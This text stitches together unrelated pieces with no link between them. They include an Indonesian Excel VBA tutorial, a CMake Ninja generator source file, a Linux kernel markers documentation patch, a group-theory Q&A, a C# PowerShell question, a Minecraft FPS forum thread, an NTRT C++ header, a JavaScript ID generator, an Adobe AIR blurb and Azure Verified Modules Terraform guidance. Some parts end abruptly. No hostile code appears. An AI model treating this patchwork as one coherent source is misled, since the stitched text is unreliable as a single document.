Bila Anda melanjutkan pada book1.xls-Sheet2 dan Sheet3, program yang kita buat pada contoh.xls-Module1 akan dikerjakan pada setiap Worksheet yang aktif, walapun Worksheet tersebut berada pada Worbook lain.
Hal ini akan merepotkan bila Anda hanya ingin program VBE yang dibuat bekerja pada Worbook tertentu, sedang dalam pekerjaan Anda sehari-hari Anda harus membuka banyak Workbook.
Pemograman Sheet
Untuk memulai, masuklah ke dalam Sheet1 dengan cara double klik pada windows project, tampilan berikut akan muncul ;
Setelah itu buatlah sebuah prosedur bernama lembar1,
lalu isikan kode berikut;
pergi ke Module1, dan isikan kode berikut
Kembali ke Ms. Excell, buka Sheet1, jalankan program dengan menekan Ctrl + q , hasilnya adalah ;
Hapus kata "lembar1" di Sheet1, kemudian buka Sheet2, kemudian tekan Cttrl + q, dan hasilnya adalah
range A1 tidak terisi apapun pada Sheet2, bukalah Sheet1 dan Anda akan mendapatkan bahwa pada range A1 terdapat kata "lembar1".
Membuat Shortkey untuk Program pada Sheet
Untuk membuat Shortcut key dari program yang telah kita buat, maka tekan Alt + F8, atau menggunakan menu Tools—Macro—Macros
akan tampil
sorot sheet1.lembar, tekan tombol Option,
pada isian Shorcut Key, isikan huruf w.
Kembali ke Excell, dan tekan Ctrl + w, lihat apa yang terjadi.
Menyisipkan Control Object pada WorkSheet
Seperti VB6, pada VBE terdapat pula obyek-obyek kontrol, seperti Command Button, Text Box, Option Button, Label, dan sebagainya. Tetapi, tidak semua kontrol yang ada di VB6 terdapat di VBA Excel.
Pertama-tama kita perlu menghidupkan Control Toolbox, dimana terdapat kontrol-kontrol yang kita perlukan. Untuk itu arahkan kursor ke menu View-Toolbars-Control Toolbox seperti gambar dibawah,
kemudian tekan dan akan tampil:
Tarik Box tersebut ke arah bawah agar tidak menghalangi WorkSheet,
Untuk menyisipkan kontrol dan merubah-rubah propertinya, maka kita perlu menghidupkan Design Mode.
tekan gambar segitiga yang memiliki nama Design Mode, sehingga gambar tersebut terlihat terang
sebagai contoh kita akan menyisipkan Command Button di Sheet1,
tekan Icon Command Button pada ToolBox,
lalu kursor akan berubah menjadai tanda "+" , gunakan kursor untuk membentuk sebuah Command Button dengan cara klik kiri pada mouse.
untuk memasukan kode maka double- clik kiri mouse pada Command Button sehinnga Visual Basic Editor muncul
masukkan kode yang diinginkan ke dalam
Private Sub CommandButton1_Click()
End Sub
CommandButton1_Click berarti program akan dijalankan pada saat Command Button ditekan. Seperti terlihat bahwa prosedur ini terdapat di dalam Sheet1, WorkSheet dimana Command Button disisipkan.
Berikut adalah salah satu contoh program
kembali ke Excel dan maitkan Design Mode dengan cara menekannya, sehingga tampilannya tidak terang lagi,
lalu tekan Command Button, maka akan tampil :
Kita dapat mengakses properti Command Button, dengan cara menyalakan kembali Design Mode lalu klik kanan Command Button,
tekan Properties maka akan tampil,
di sisi sebelah kiri akan tampil Windows Properties.
Kita dapat merubah tampilan (Caption) pada Command Button dengan cara merubah isian Caption di Properties,
atau dengan mengedit Command Button,
bila ditekan, akan tampil
lalu rubahalah Caption-nya,
Menggunakan UserForm
Untuk menggunakan UserForm, pertama sisipkan dahulu obyek ini kedalam project kita.
tampilan berikut akan muncul
selanjutnya Anda dapat melakukan langkah-langkah pemograman seperti di VB6.
Pada contoh berikut kita akan menyisipakan sebuah CommandButton dan sebuah TextBox ke dalam form kita. Isi dari sebuah range (kita pilih range A1) di salah satu WorkSheet (pada contoh ini kita pilih Sheet1) akan sama dengan isi TextBox ketika CommandButton ditekan.
Pertama-tama kita sisipkan sebuah CommandButton dan TextBox pada UserForm,
lalu klik dua kali CommandButton, hingga tampilan berikut muncul
isikan kode berikut
Range("A1").Value = TextBox1.Value
Selanjutnya kembali ke Sheet1 (pada Visual Basi Editor), isikan kode beirkut di Prosedur "lembar1",
UserForm1.Show
Kode di atas memerintahkan agar UserForm1 muncul
kembali ke Excell, dan tekan Ctrl+w untuk menjalankan Prosedur "lembar1".
isi TextBox dengan kata "sudah" lalu tekan CommandButton1,
Sebagai catatan, karena UserForm muncul maka Anda tidak dapat menggunakan WorkSheet pada Excel. Bila Anda menginginkan agar, bisa beralih ke WorkSheet, maka kode berikut dapat digunakan (hanya bekerja pada Excell 2000 ke atas).
UserForm1.Show vbModeless
Bila program kembali dijalankan maka Anda dapat beralih dari UserForm ke WorkSheet.
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__label__pos
| 0.977792 |
blob: 7adeb8e2be72a62b80fb1461f61419ffcf14f33a [file] [log] [blame]
/* Distributed under the OSI-approved BSD 3-Clause License. See accompanying
file Copyright.txt or https://cmake.org/licensing for details. */
#include "cmNinjaUtilityTargetGenerator.h"
#include "cmCustomCommand.h"
#include "cmCustomCommandGenerator.h"
#include "cmGeneratedFileStream.h"
#include "cmGeneratorTarget.h"
#include "cmGlobalNinjaGenerator.h"
#include "cmLocalNinjaGenerator.h"
#include "cmMakefile.h"
#include "cmNinjaTypes.h"
#include "cmOutputConverter.h"
#include "cmSourceFile.h"
#include "cmStateTypes.h"
#include "cmSystemTools.h"
#include "cmake.h"
#include <algorithm>
#include <iterator>
#include <string>
#include <vector>
cmNinjaUtilityTargetGenerator::cmNinjaUtilityTargetGenerator(
cmGeneratorTarget* target)
: cmNinjaTargetGenerator(target)
{
}
cmNinjaUtilityTargetGenerator::~cmNinjaUtilityTargetGenerator()
{
}
void cmNinjaUtilityTargetGenerator::Generate()
{
std::string utilCommandName =
this->GetLocalGenerator()->GetCurrentBinaryDirectory();
utilCommandName += cmake::GetCMakeFilesDirectory();
utilCommandName += "/";
utilCommandName += this->GetTargetName() + ".util";
utilCommandName = this->ConvertToNinjaPath(utilCommandName);
std::vector<std::string> commands;
cmNinjaDeps deps, outputs, util_outputs(1, utilCommandName);
const std::vector<cmCustomCommand>* cmdLists[2] = {
&this->GetGeneratorTarget()->GetPreBuildCommands(),
&this->GetGeneratorTarget()->GetPostBuildCommands()
};
bool uses_terminal = false;
for (unsigned i = 0; i != 2; ++i) {
for (cmCustomCommand const& ci : *cmdLists[i]) {
cmCustomCommandGenerator ccg(ci, this->GetConfigName(),
this->GetLocalGenerator());
this->GetLocalGenerator()->AppendCustomCommandDeps(ccg, deps);
this->GetLocalGenerator()->AppendCustomCommandLines(ccg, commands);
std::vector<std::string> const& ccByproducts = ccg.GetByproducts();
std::transform(ccByproducts.begin(), ccByproducts.end(),
std::back_inserter(util_outputs), MapToNinjaPath());
if (ci.GetUsesTerminal()) {
uses_terminal = true;
}
}
}
std::vector<cmSourceFile*> sources;
std::string config =
this->GetMakefile()->GetSafeDefinition("CMAKE_BUILD_TYPE");
this->GetGeneratorTarget()->GetSourceFiles(sources, config);
for (cmSourceFile const* source : sources) {
if (cmCustomCommand const* cc = source->GetCustomCommand()) {
cmCustomCommandGenerator ccg(*cc, this->GetConfigName(),
this->GetLocalGenerator());
this->GetLocalGenerator()->AddCustomCommandTarget(
cc, this->GetGeneratorTarget());
// Depend on all custom command outputs.
const std::vector<std::string>& ccOutputs = ccg.GetOutputs();
const std::vector<std::string>& ccByproducts = ccg.GetByproducts();
std::transform(ccOutputs.begin(), ccOutputs.end(),
std::back_inserter(deps), MapToNinjaPath());
std::transform(ccByproducts.begin(), ccByproducts.end(),
std::back_inserter(deps), MapToNinjaPath());
}
}
this->GetLocalGenerator()->AppendTargetOutputs(this->GetGeneratorTarget(),
outputs);
this->GetLocalGenerator()->AppendTargetDepends(this->GetGeneratorTarget(),
deps);
if (commands.empty()) {
this->GetGlobalGenerator()->WritePhonyBuild(
this->GetBuildFileStream(),
"Utility command for " + this->GetTargetName(), outputs, deps);
} else {
std::string command =
this->GetLocalGenerator()->BuildCommandLine(commands);
const char* echoStr =
this->GetGeneratorTarget()->GetProperty("EchoString");
std::string desc;
if (echoStr) {
desc = echoStr;
} else {
desc = "Running utility command for " + this->GetTargetName();
}
// TODO: fix problematic global targets. For now, search and replace the
// makefile vars.
cmSystemTools::ReplaceString(
command, "$(CMAKE_SOURCE_DIR)",
this->GetLocalGenerator()
->ConvertToOutputFormat(
this->GetLocalGenerator()->GetSourceDirectory(),
cmOutputConverter::SHELL)
.c_str());
cmSystemTools::ReplaceString(
command, "$(CMAKE_BINARY_DIR)",
this->GetLocalGenerator()
->ConvertToOutputFormat(
this->GetLocalGenerator()->GetBinaryDirectory(),
cmOutputConverter::SHELL)
.c_str());
cmSystemTools::ReplaceString(command, "$(ARGS)", "");
if (command.find('$') != std::string::npos) {
return;
}
for (std::string const& util_output : util_outputs) {
this->GetGlobalGenerator()->SeenCustomCommandOutput(util_output);
}
this->GetGlobalGenerator()->WriteCustomCommandBuild(
command, desc, "Utility command for " + this->GetTargetName(),
/*depfile*/ "", uses_terminal,
/*restat*/ true, util_outputs, deps);
this->GetGlobalGenerator()->WritePhonyBuild(
this->GetBuildFileStream(), "", outputs,
cmNinjaDeps(1, utilCommandName));
}
// Add an alias for the logical target name regardless of what directory
// contains it. Skip this for GLOBAL_TARGET because they are meant to
// be per-directory and have one at the top-level anyway.
if (this->GetGeneratorTarget()->GetType() != cmStateEnums::GLOBAL_TARGET) {
this->GetGlobalGenerator()->AddTargetAlias(this->GetTargetName(),
this->GetGeneratorTarget());
}
}
|
__label__pos
| 0.994723 |
From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: ([email protected]) by vger.kernel.org via listexpand id S1765435AbXHTUfT (ORCPT ); Mon, 20 Aug 2007 16:35:19 -0400 Received: ([email protected]) by vger.kernel.org id S1763760AbXHTU3G (ORCPT ); Mon, 20 Aug 2007 16:29:06 -0400 Received: from smtp.polymtl.ca ([132.207.4.11]:56034 "EHLO smtp.polymtl.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1764805AbXHTU3B (ORCPT ); Mon, 20 Aug 2007 16:29:01 -0400 Message-Id: <[email protected]> References: <[email protected]> User-Agent: quilt/0.46-1 Date: Mon, 20 Aug 2007 16:27:07 -0400 From: Mathieu Desnoyers To: [email protected], [email protected] Cc: Mathieu Desnoyers Subject: [patch 3/4] Linux Kernel Markers - Documentation Content-Disposition: inline; filename=linux-kernel-markers-documentation.patch X-Poly-FromMTA: (dijkstra.casi.polymtl.ca [132.207.72.10]) at Mon, 20 Aug 2007 20:28:00 +0000 Sender: [email protected] X-Mailing-List: [email protected] Here is some documentation explaining what is/how to use the Linux Kernel Markers. Signed-off-by: Mathieu Desnoyers --- Documentation/marker.txt | 257 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 257 insertions(+) Index: linux-2.6-lttng/Documentation/marker.txt =================================================================== --- /dev/null 1970-01-01 00:00:00.000000000 +0000 +++ linux-2.6-lttng/Documentation/marker.txt 2007-08-17 11:56:20.000000000 -0400 @@ -0,0 +1,257 @@ + Using the Linux Kernel Markers + + Mathieu Desnoyers + + +This document introduces Linux Kernel Markers and their use. It provides +examples of how to insert markers in the kernel and connect probe functions to +them and provides some examples of probe functions. + + +* Purpose of markers + +A marker placed in your code provides a hook to call a function (probe) that +you can provide at runtime. A marker can be "on" (a probe is connected to it) or +"off" (no probe is attached). When a marker is "off" it has no effect, except +for adding a tiny time penality (checking a condition for a branch) and space +penality (adding a few bytes for the function call at the end of the +instrumented function and adds a data structure in a separate section). The +immediate values are used to minimize the impact on data cache, encoding the +condition in the instruction stream. When a marker is "on", the function you +provide is called each time the marker is executed, in the execution context of +the caller. When the function provided ends its execution, it returns to the +caller (continuing from the marker site). + +You can put markers at important locations in the code. Markers are +lightweight hooks that can pass an arbitrary number of parameters, +described in a printk-like format string, to the attached probe function. + +They can be used for tracing and performance accounting. + + +* Usage + +In order to use the macro trace_mark, you should include linux/marker.h. + +#include + +Add, in your code : + +trace_mark(subsystem_event, "%d %s", someint, somestring); +Where : +- subsystem_event is an identifier unique to your event + - subsystem is the name of your subsystem. + - event is the name of the event to mark. +- "%d %s" is the formatted string for the serializer. +- someint is an integer. +- somestring is a char pointer. + +Connecting a function (probe) to a marker is done by providing a probe (function +to call) for the specific marker through marker_probe_register() and can be +activated by calling marker_arm(). Marker deactivation can be done by calling +marker_disarm() as many times as marker_arm() has been called. Removing a probe +is done through marker_probe_unregister(); it will disarm the probe and make +sure there is no caller left using the probe when it returns. Probe removal is +preempt-safe because preemption is disabled around the probe call. See the +"Probe example" section below for a sample probe module. + +The marker mechanism supports inserting multiple instances of the same marker. +Markers can be put in inline functions, inlined static functions, and +unrolled loops. + +The naming scheme "subsystem_event" is suggested here as a convention intended +to limit collisions. Marker names are global to the kernel: they are considered +as being the same whether they are in the core kernel image or in modules. +Conflicting format strings for markers with the same name will cause the markers +to be detected to have a different format string not to be armed and will output +a printk warning which identifies the inconsistency: + +"Format mismatch for probe probe_name (format), marker (format)" + + +* Optimization for a given architecture + +One can implement optimized markers for a given architecture by replacing +asm-$ARCH/marker.h. + +To force use of a non-optimized version of the markers, _trace_mark() should be +used. It takes the same parameters as the normal markers, but it does not use +the immediate values based on code patching. + + +* Probe example + +You can build the kernel modules, probe-example.ko and marker-example.ko, +using the following Makefile: +------------------------------ CUT ------------------------------------- +obj-m := probe-example.o marker-example.o +KDIR := /lib/modules/$(shell uname -r)/build +PWD := $(shell pwd) +default: + $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules +clean: + rm -f *.mod.c *.ko *.o +------------------------------ CUT ------------------------------------- +/* probe-example.c + * + * Connects two functions to marker call sites. + * + * (C) Copyright 2007 Mathieu Desnoyers + * + * This file is released under the GPLv2. + * See the file COPYING for more details. + */ + +#include +#include +#include +#include +#include + +struct probe_data { + const char *name; + const char *format; + marker_probe_func *probe_func; +}; + +void probe_subsystem_event(const struct __mark_marker *mdata, + const char *format, ...) +{ + va_list ap; + /* Declare args */ + unsigned int value; + const char *mystr; + + /* Assign args */ + va_start(ap, format); + value = va_arg(ap, typeof(value)); + mystr = va_arg(ap, typeof(mystr)); + + /* Call printk */ + printk("Value %u, string %s\n", value, mystr); + + /* or count, check rights, serialize data in a buffer */ + + va_end(ap); +} + +atomic_t eventb_count = ATOMIC_INIT(0); + +void probe_subsystem_eventb(const struct __mark_marker *mdata, + const char *format, ...) +{ + /* Increment counter */ + atomic_inc(&eventb_count); +} + +static struct probe_data probe_array[] = +{ + { .name = "subsystem_event", + .format = "%d %s", + .probe_func = probe_subsystem_event }, + { .name = "subsystem_eventb", + .format = MARK_NOARGS, + .probe_func = probe_subsystem_eventb }, +}; + +static int __init probe_init(void) +{ + int result; + int i; + + for (i = 0; i < ARRAY_SIZE(probe_array); i++) { + result = marker_probe_register(probe_array[i].name, + probe_array[i].format, + probe_array[i].probe_func, &probe_array[i]); + if (result) + printk(KERN_INFO "Unable to register probe %s\n", + probe_array[i].name); + result = marker_arm(probe_array[i].name); + if (result) + printk(KERN_INFO "Unable to arm probe %s\n", + probe_array[i].name); + } + return 0; +} + +static void __exit probe_fini(void) +{ + int i; + + for (i = 0; i < ARRAY_SIZE(probe_array); i++) { + marker_probe_unregister(probe_array[i].name); + } + printk("Number of event b : %u\n", atomic_read(&eventb_count)); +} + +module_init(probe_init); +module_exit(probe_fini); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Mathieu Desnoyers"); +MODULE_DESCRIPTION("SUBSYSTEM Probe"); +------------------------------ CUT ------------------------------------- +/* marker-example.c + * + * Executes a marker when /proc/marker-example is opened. + * + * (C) Copyright 2007 Mathieu Desnoyers + * + * This file is released under the GPLv2. + * See the file COPYING for more details. + */ + +#include +#include +#include +#include + +struct proc_dir_entry *pentry_example = NULL; + +static int my_open(struct inode *inode, struct file *file) +{ + int i; + + trace_mark(subsystem_event, "%d %s", 123, "example string"); + for (i=0; i<10; i++) { + trace_mark(subsystem_eventb, MARK_NOARGS); + } + return -EPERM; +} + +static struct file_operations mark_ops = { + .open = my_open, +}; + +static int example_init(void) +{ + printk(KERN_ALERT "example init\n"); + pentry_example = create_proc_entry("marker-example", 0444, NULL); + if (pentry_example) + pentry_example->proc_fops = &mark_ops; + else + return -EPERM; + return 0; +} + +static void example_exit(void) +{ + printk(KERN_ALERT "example exit\n"); + remove_proc_entry("marker-example", NULL); +} + +module_init(example_init) +module_exit(example_exit) + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Mathieu Desnoyers"); +MODULE_DESCRIPTION("Linux Trace Toolkit example"); +------------------------------ CUT ------------------------------------- +Sequence of operations : (as root) +make +insmod marker-example.ko (insmod order is not important) +insmod probe-example.ko +cat /proc/marker-example (returns an expected error) +rmmod marker-example probe-example +dmesg +------------------------------ CUT ------------------------------------- -- Mathieu Desnoyers Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F BA06 3F25 A8FE 3BAE 9A68
|
__label__pos
| 0.995371 |
3
$\begingroup$
Let $G$ be a group with $25$ elements and $E$ a $G$-set with $32$ elements. Show that there exists $a \in E$ such that $G_a=G$.
So I want to show that $G_a=\{g \in G \mid ga = a\} = G$. I believe this $G_a$ is called the stabilizer of $G$?
I also found out that there is a theorem called the Orbit-Stalibizer theorem which states that there exists a bijection $\varphi:G/G_a \to Ga$ such that $gG_a \longmapsto ga$.
Can I use this to show the wanted result?
$\endgroup$
1 Answer 1
5
$\begingroup$
The orbits partition.
Since the stabilisers orders have to divide $25$ (they're subgroups), they're all of order $1,5$ or $25$.
So the same can be said for the orders of the orbits (orbit-stabilizer theorem).
But, there's no way to add up multiples of $1,5$ and $25$, and get $32$ without at least one $1$.
$\endgroup$
2
• $\begingroup$ So is the statement false? $\endgroup$
– Walker
Commented Aug 13, 2022 at 9:37
• $\begingroup$ The statement is true. The orbit of size $1$ corresponds to a stabiliser of size $25$. $\endgroup$
– i can try
Commented Aug 13, 2022 at 15:42
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|
__label__pos
| 0.985439 |
收录日期：2019/10/18 22:16:55 时间：2009-11-11 00:10:21 标签：c#,powershell,cmdlets
I'm writing a C# Cmdlet that needs to get the value of a global script variable. How do I do it?
I noticed that the Runspace has SessionStateProxy.GetVariable method. Can I access the runspace from a C# Cmdlet?
Thanks!
If you're implementing a PSCmdlet use the this variable to access it like so:
this.SessionState.PSVariable.GetValue()
|
__label__pos
| 0.999517 |
FPS
Discussion in 'Everything Else' started by BubbleGalore, Jul 31, 2014.
Thread Status:
Not open for further replies.
1. BubbleGalore
BubbleGalore Member
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Just wondering if there are any options that can boost fps. I already have optifine yet I run at like 30 and under :eek:
2. gamehurricane19
gamehurricane19 Member
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Try Running in Windowed Mode, Its Smaller, but has a improvement.
3. Trickmaster
Trickmaster Member
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Here are a few suggestions.
1. Buy a new computer (you probably can't, but it's the most straightforward one.)
2. Make your computer run in "Full Performance" mode on the battery sign. (You will probably need to plug it into the wall.
3. Shut down as many programs as possible when running Minecraft. (i.e. Web browsers, anti-virus scans, etc.)
4. Check CPU usage in task manager when running Minecraft. Minecraft should be using a big chunk of the CPU, and if there's another program using CPU a lot, try to end it (but NOT any crucial computer systems, maybe ask before you do it for safety?)
5. Allocate more RAM to Minecraft in the Minecraft launcher. It might not help a lot, but it might a little bit.
Source: Experience from my bad laptop 2 years ago :3
Gjpoppy likes this.
4. Trickmaster
Trickmaster Member
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Oh, and minimize video settings. It helps A LOT.
Render distance: Tiny
Smooth FPS: On
Animations: All Off
Particles: Minimal
Details: All Off (Except for maybe Sun and Moon in survival)
Smooth World: Off
VSync: (On- usually gives you 60 fps, not sure because your average is lower than that.
Off-Kind of makes fps go everywhere. Experiment with turning it on and off)
If you have any more questions about
5. Trickmaster
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7. Trickmaster
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No problem. Tell me how much your fps is now ;)
8. StorySays
StorySays Admin
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StorySays
Admin
PLUS
Best Settings:
First off. Install Optifine Light. Ultra is designed for fast computers. you will get upto 40 at your fps.
If you have high processor speed, but a bad graphics card. like me. you can increase the render distance upto far without losing a frame.
Tiny should be the best though.
V-Sync Off - It limits framerate to your monitor, if using a laptop this is a frame killer, it will take you down to 20 or 30. because laptops are not designed for gaming. unless they are gaming laptops.
Advanced OpenGL Fast - I'm pretty sure fast makes it the fastest xD
Graphics - Fast
Put minecraft into fullscreen with F11. it's actually faster.
9. AquaaXx
AquaaXx Member
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^ That's a lot of instructions but oh well, More the better right?
10. StorySays
StorySays Admin
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StorySays
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indeed.
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|
__label__pos
| 0.972293 |
NTRT Simulator Version: Master
All Classes Namespaces Files Functions Variables Typedefs Friends Pages
tgCast.h
Go to the documentation of this file.
1 /*
2 * Copyright © 2012, United States Government, as represented by the
3 * Administrator of the National Aeronautics and Space Administration.
4 * All rights reserved.
5 *
6 * The NASA Tensegrity Robotics Toolkit (NTRT) v1 platform is licensed
7 * under the Apache License, Version 2.0 (the "License");
8 * you may not use this file except in compliance with the License.
9 * You may obtain a copy of the License at
10 * http://www.apache.org/licenses/LICENSE-2.0.
11 *
12 * Unless required by applicable law or agreed to in writing,
13 * software distributed under the License is distributed on an
14 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
15 * either express or implied. See the License for the specific language
16 * governing permissions and limitations under the License.
17 */
18
19 #ifndef TG_CAST_H
20 #define TG_CAST_H
21
29 // This application
30 #include "tgTagSearch.h"
31 #include "tgTaggable.h"
32 // The C++ Standard Library
33 #include <vector>
34
38 class tgCast
39 {
40 public:
41
49 template <typename T_FROM, typename T_TO>
50 static std::vector<T_TO*> filter(const std::vector<T_FROM*>& v)
51 {
52 std::vector<T_TO*> result;
53 for(int i = 0; i < v.size(); i++) {
54 T_TO* t = cast<T_FROM, T_TO>(v[i]);
55 if(t != 0) {
56 result.push_back(t);
57 }
58 }
59 return result;
60 }
61
70 template <typename T_FROM, typename T_TO>
71 static std::vector<const T_TO*> constFilter(const std::vector<T_FROM*>& v)
72 {
73 std::vector<const T_TO*> result;
74 for(int i = 0; i < v.size(); i++) {
75 const T_TO* t = cast<T_FROM, T_TO>(v[i]);
76 if(t != 0) {
77 result.push_back(t);
78 }
79 }
80 return result;
81 }
82
86 template <typename T_FROM, typename T_TO>
87 static T_TO* cast(T_FROM* obj)
88 {
89 // @todo: dynamic_cast may just return 0 on fail...
90 try {
91 return dynamic_cast<T_TO*>(obj);
92 } catch (std::exception& e) {
93 return 0;
94 }
95 }
96
101 template <typename T_FROM, typename T_TO>
102 static const T_TO* cast(const T_FROM* obj)
103 {
104 // @todo: dynamic_cast may just return 0 on fail...
105 try {
106 return dynamic_cast<const T_TO*>(obj);
107 } catch (std::exception& e) {
108 return 0;
109 }
110 }
111
115 template <typename T_FROM, typename T_TO>
116 static T_TO* cast(T_FROM& obj)
117 {
118 return cast<T_FROM, T_TO>(&obj);
119 }
120
121 template <typename T_FROM, typename T_TO>
122 static std::vector<T_TO*> find(const tgTagSearch& tagSearch, const std::vector<T_FROM*> haystack)
123 {
124 // Filter to the correct type
125 std::vector<T_TO*> filtered = filter<T_FROM, T_TO>(haystack);
126 std::vector<T_TO*> result;
127
128 // Check each element in filtered to see if it is castable to tgTaggable and matches the search
129 for(int i = 0; i < filtered.size(); i++) {
130 tgTaggable* t = cast<T_TO, tgTaggable>(filtered[i]);
131 if(t != 0 && tagSearch.matches(*t)) {
132 // Note: add filtered[i] instead of t to maintain correct type
133 result.push_back(filtered[i]);
134 }
135 }
136 return result;
137 }
138
139 };
140
141
142 #endif
static T_TO * cast(T_FROM &obj)
Definition: tgCast.h:116
static T_TO * cast(T_FROM *obj)
Definition: tgCast.h:87
Contains the definition of class tgTagSearch.
Definition: tgCast.h:38
static std::vector< const T_TO * > constFilter(const std::vector< T_FROM * > &v)
Definition: tgCast.h:71
const bool matches(const tgTags &tags) const
Definition: tgTagSearch.h:62
Contains the definition of class tgTaggable.
static std::vector< T_TO * > filter(const std::vector< T_FROM * > &v)
Definition: tgCast.h:50
static const T_TO * cast(const T_FROM *obj)
Definition: tgCast.h:102
|
__label__pos
| 0.971983 |
LoRaWAN-Signal-Mapping/server/Helpers/IdGenerator.mjs
26 lines
608 B
JavaScript
"use strict";
import crypto from './crypto_async.mjs';
/**
* Generates cryptographically secure random ids.
* @return {string} A crypto-secure random id as a string.
*/
async function get_id_string(length) {
return (await crypto.randomBytes(length / 1.3333333333333))
.toString("base64")
.replace(/\+/g, "-").replace(/\//g, "_")
.replace(/=/g, "");
}
/**
* Generates a crypto-secure random id.
* @return {number} A crypto-secure random integer, suitable for use as a random id.
*/
async function get_id_number() {
return parseInt(
(await crypto.randomBytes(4)).toString("hex"),
16
);
}
|
__label__pos
| 0.926945 |
Categories
Air
Adobe AIR – Let RIA Breath
WELCOME – RICH INTERNET
Background
Over past few years web has become an important element of day to day life. Advertising a product or fastest mode of exchanging information or building social communities etc are the few examples we all know which couldn’t have been possible without web. While the importance of web has increased over the years, so the supporting technology has undergone various evaluations. Industry has always come up with new innovations to make experience of using web more appealing. The early days of Internet was using just HTML, Scripting languages and Images to present the information, the past few years has brought many new concepts like Animations, AJAX etc. What next, web got its new version Web 2.0 and has changed the definition for what web is used for. More and more sites are built today to ease the process of accessing information and making it more presentable.
|
__label__pos
| 0.834515 |
Azure Verified Modules
Glossary GitHub GitHub Issues Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Back to homepage
Last updated: 19 Apr 2024
Composition
While this page describes and summarizes important aspects of the composition of AVM modules, it may not reference All of the shared and language specific requirements.
Therefore, this guide MUST be used in conjunction with the Shared Specification and the Terraform specific specifications. ALL AVM modules (Resource and Pattern modules) MUST meet the respective requirements described in these specifications!
Before jumping on implementing your contribution, please review the AVM Module specifications, in particular the Shared and the Terraform specific pages, to make sure your contribution complies with the AVM module’s design and principles.
Repositories
Each Terraform AVM module will have its own GitHub Repository in the Azure GitHub Organization as per SNFR19.
This repo will be created by the Module Owners and the AVM Core team collaboratively, including the configuration of permissions as per SNFR9
Directory and File Structure
Below is the directory and file structure expected for each AVM Terraform repository/module. See template repo here.
• tests/ - (for unit tests and additional tests if required - e.g. tflint etc.)
• unit/ - (optional, may use further sub-directories if required)
• modules/ - (for sub-modules only if used)
• examples/ - (all examples must deploy without successfully without requiring input - these are customer facing)
• defaults - (minimum/required parameters/variables only, heavy reliance on the default values for other parameters/variables)
• <other folders for examples as required>
• /... - (Module files that live in the root of module directory)
• _header.md - (required for documentation generation)
• _footer.md - (required for documentation generation)
• main.tf
• locals.tf
• variables.tf
• outputs.tf
• terraform.tf
• locals.version.tf.json - (required for telemetry, should match the upcoming release tag)
• README.md (autogenerated)
• main.resource1.tf (If a larger module you may chose to use dot notation for each resource)
• locals.resource1.tf
Directory and File Structure
/ root
├───.github/
│ ├───actions/
│ │ ├───avmfix/
│ │ │ └───action.yml
│ │ ├───docs-check/
│ │ │ └───action.yml
│ │ ├───e2e-getexamples/
│ │ │ └───action.yml
│ │ ├───e2e-testexamples/
│ │ │ └───action.yml
│ │ ├───linting/
│ │ │ └───action.yml
│ │ └───version-check/
│ │ └───action.yml
│ ├───policies/
│ │ ├───avmrequiredfiles.yml
│ │ └───branchprotection.yml
│ ├───workflows/
│ │ ├───e2e.yml
│ │ ├───linting.yml
│ │ └───version-check.yml
│ ├───CODEOWNERS
│ └───dependabot.yml
├───.vscode/
│ ├───extensions.json
│ └───settings.json
├───examples/
│ ├───default/
│ │ ├───README.md
│ │ ├───_footer.md
│ │ ├───_header.md
│ │ ├───main.tf
│ │ └───variables.tf
│ ├───.terraform-docs.yml
│ └───README.md
├───modules/
│ └───README.md
├───tests/
│ └───README.md
├───.gitignore
├───.terraform-docs.yml
├───CODE_OF_CONDUCT.md
├───LICENSE
├───Makefile
├───README.md
├───SECURITY.md
├───SUPPORT.md
├───_footer.md
├───_header.md
├───avm
├───avm.bat
├───locals.telemetry.tf
├───locals.tf
├───locals.version.tf.json
├───main.privateendpoint.tf
├───main.telemetry.tf
├───main.tf
├───outputs.tf
├───terraform.tf
└───variables.tf
Code Styling
This section points to conventions to be followed when developing a module.
Casing
Use snake_casing as per TFNFR3.
Input Parameters and Variables
Make sure to review all specifications of Category: Inputs within both the Shared and the Terraform specific pages.
See examples in specifications SNFR14 and TFFR14.
Resources
Resources are primarily leveraged by resource modules to declare the primary resource of the main resource type deployed by the AVM module.
Make sure to review all specifications covering resource properties and usage.
See examples in specifications SFR1 and RMFR1.
Outputs
Make sure to review all specifications of Category: Outputs within both the Shared and the Terraform specific pages.
See examples in specification RMFR7 and TFFR2.
Interfaces
This section is only relevant for contributions to resource modules.
To meet RMFR4 and RMFR5 AVM resource modules must leverage consistent interfaces for all the optional features/extension resources supported by the AVM module primary resource.
Please refer to the Shared Interfaces page.
Telemetry
To meet SFR3 & SFR4. We have provided the sample code below, however it is already included in the template repository.
locals {
# This is the unique id for the module that is supplied by the AVM team.
# TODO: change this to the PUID for the module. See https://azure.github.io/Azure-Verified-Modules/specs/shared/#id-sfr3---category-telemetry---deploymentusage-telemetry
telem_puid = "46d3xgtf"
# TODO: change this to the name of the module. See https://azure.github.io/Azure-Verified-Modules/specs/shared/#id-sfr3---category-telemetry---deploymentusage-telemetry
module_name = "CHANGEME"
# Should be either `res` or `ptn`
module_type = "res"
# This is an empty ARM deployment template.
telem_arm_template_content = <<TEMPLATE
{
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"parameters": {},
"variables": {},
"resources": [],
"outputs": {
"telemetry": {
"type": "String",
"value": "For more information, see https://aka.ms/avm/TelemetryInfo"
}
}
}
TEMPLATE
# This constructs the ARM deployment name that is used for the telemetry.
# We shouldn't ever hit the 64 character limit but use substr just in case.
telem_arm_deployment_name = substr(
format(
"%s.%s.%s.v%s.%s",
local.telem_puid,
local.module_type,
substr(local.module_name, 0, 30),
replace(local.module_version, ".", "-"),
local.telem_random_hex
),
0,
64
)
telem_random_hex = can(random_id.telem[0].hex) ? random_id.telem[0].hex : ""
}
resource "random_id" "telemetry" {
count = local.enable_telemetry ? 1 : 0
byte_length = 4
}
